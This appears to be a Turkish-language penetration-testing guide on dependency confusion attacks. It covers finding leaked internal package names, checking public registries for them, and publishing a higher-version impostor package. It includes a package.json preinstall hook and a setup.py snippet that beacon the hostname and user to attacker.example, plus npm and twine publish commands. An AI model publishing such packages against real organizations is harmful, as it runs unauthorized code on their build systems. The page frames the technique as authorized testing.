Skip to content

Dependency Confusion & Paket Suistimatı

supply chain difficulty: orta

Dependency Confusion, bir kuruluşun iç (private) paket adlarını public paket deposunda (npm, PyPI, RubyGems, NuGet…) daha yüksek sürümle yayınlayarak, build sisteminin yanlışlıkla saldırgan paketini çekmesini sağlamaktır. Kurulum script’leri ile CI veya geliştirici makinesinde kod çalışır.

Alex Birsan’ın orijinal araştırması, birden fazla büyük şirketin bug bounty kapsamında bu yöntemi doğruladığını göstermiştir.

□ Sızmış / public package.json, package-lock, yarn.lock, pnpm-lock
□ requirements.txt, Pipfile, poetry.lock, go.mod, Cargo.toml
□ .npmrc (registry=...), .pypirc, NuGet.config, bundler mirror
□ Dahili isim kalıpları: @acme-internal/..., acme-utils-private
□ JS bundle / sourcemap içinde require("acme-...")
□ CI log, Docker image katmanları, açık Artifactory / Nexus
□ GitHub org package adları, internal npm scope sızıntısı
Terminal window
jq -r '.dependencies,.devDependencies|keys[]?' package.json 2>/dev/null | while read p; do
Terminal window
npm view "$p" version 2>/dev/null || echo "MISSING PUBLIC: $p"
Terminal window
done
Terminal window
cut -d= -f1 requirements.txt | while read p; do
Terminal window
curl -sI "https://pypi.org/pypi/$p/json" | head -1
Terminal window
done
Terminal window
grep -E 'registry|npm.pkg|pkgs.dev' package-lock.json .npmrc 2>/dev/null

Public’te yok ama iç kaynakta var → confusion adayı.

  1. İç paket adını doğrula — organizasyon ad alanı veya düz isim; public registry’de 404. Scope kurallarını not et ( @acme/* ).

  2. Public’te yayınla — aynı ad, daha yüksek semver (iç 1.0.3 → 99.0.0). Yetkili pentestte yalnızca scope onayı ve zararsız paket.

  3. Install hook ile beacon :

    {
    "name": "acme-internal-logger",
    "version": "99.0.0",
    "scripts": {
    "preinstall": "curl -s \"https://attacker.example/p?h=$(hostname)&u=$(whoami)\""
    }
    }
    # setup.py — kontrollü beacon
    import os, urllib.request
    urllib.request.urlopen(
    "https://attacker.example/p?h=" + os.uname().nodename
    )
  4. Callback bekle — CI hostname, kullanıcı, ortam ipuçları. Secret’ları kasıtlı çekme; kanıt için hostname yeterli.

  5. Temizle — unpublish / güvenlik ekibine bildir; paket adı ve sürüm kaydı.

npm
— @scope → .npmrc'te registry map yoksa public'e düşebilir
— publishConfig / always-auth yanlışlığı
pip
--extra-index-url → yüksek sürüm public'ten gelebilir (index vs extra-index)
--index-url tek private ile risk azalır (yine typosquat ayrı)
NuGet / RubyGems / Maven
— çoklu source önceliği; ilk bulunan ≠ en güvenli
Go
— module path GitHub; repojacking / vanished org
Terminal window
npm login
Terminal window
npm publish --access public
Terminal window
python -m build && twine upload dist/*
□ Typosquatting: lodash → loadsh, requests → reqests, colours → colors varyant
□ Namespace / manifest confusion (npm org ownership)
□ Repojacking: silinen GitHub user/org → go/git deps
□ Compromised maintainer / account takeover
□ Malicious transitive dependency (derin ağaç)
□ Fake security advisory ile maintainer social engineering
Terminal window
pip index versions requests 2>/dev/null
Terminal window
npm search acme-util --json 2>/dev/null | head
□ Yazılı scope: hangi registry'ye publish, hangi beacon URL
□ Production build'i bozma — staging CI veya sandbox tercih
□ Paketi test bitince unpublish
□ Kanıt: DNS/HTTP callback + paket adı/sürüm; reverse shell yok
□ Legal: bazı bounty programları publish'i yasaklar — önce policy oku
GitHub/dork sızıntı package.json → iç paket adı
→ npm/pypi 404 doğrula
→ yüksek sürüm + preinstall beacon publish
→ CI callback → RCE kanıtı (hostname)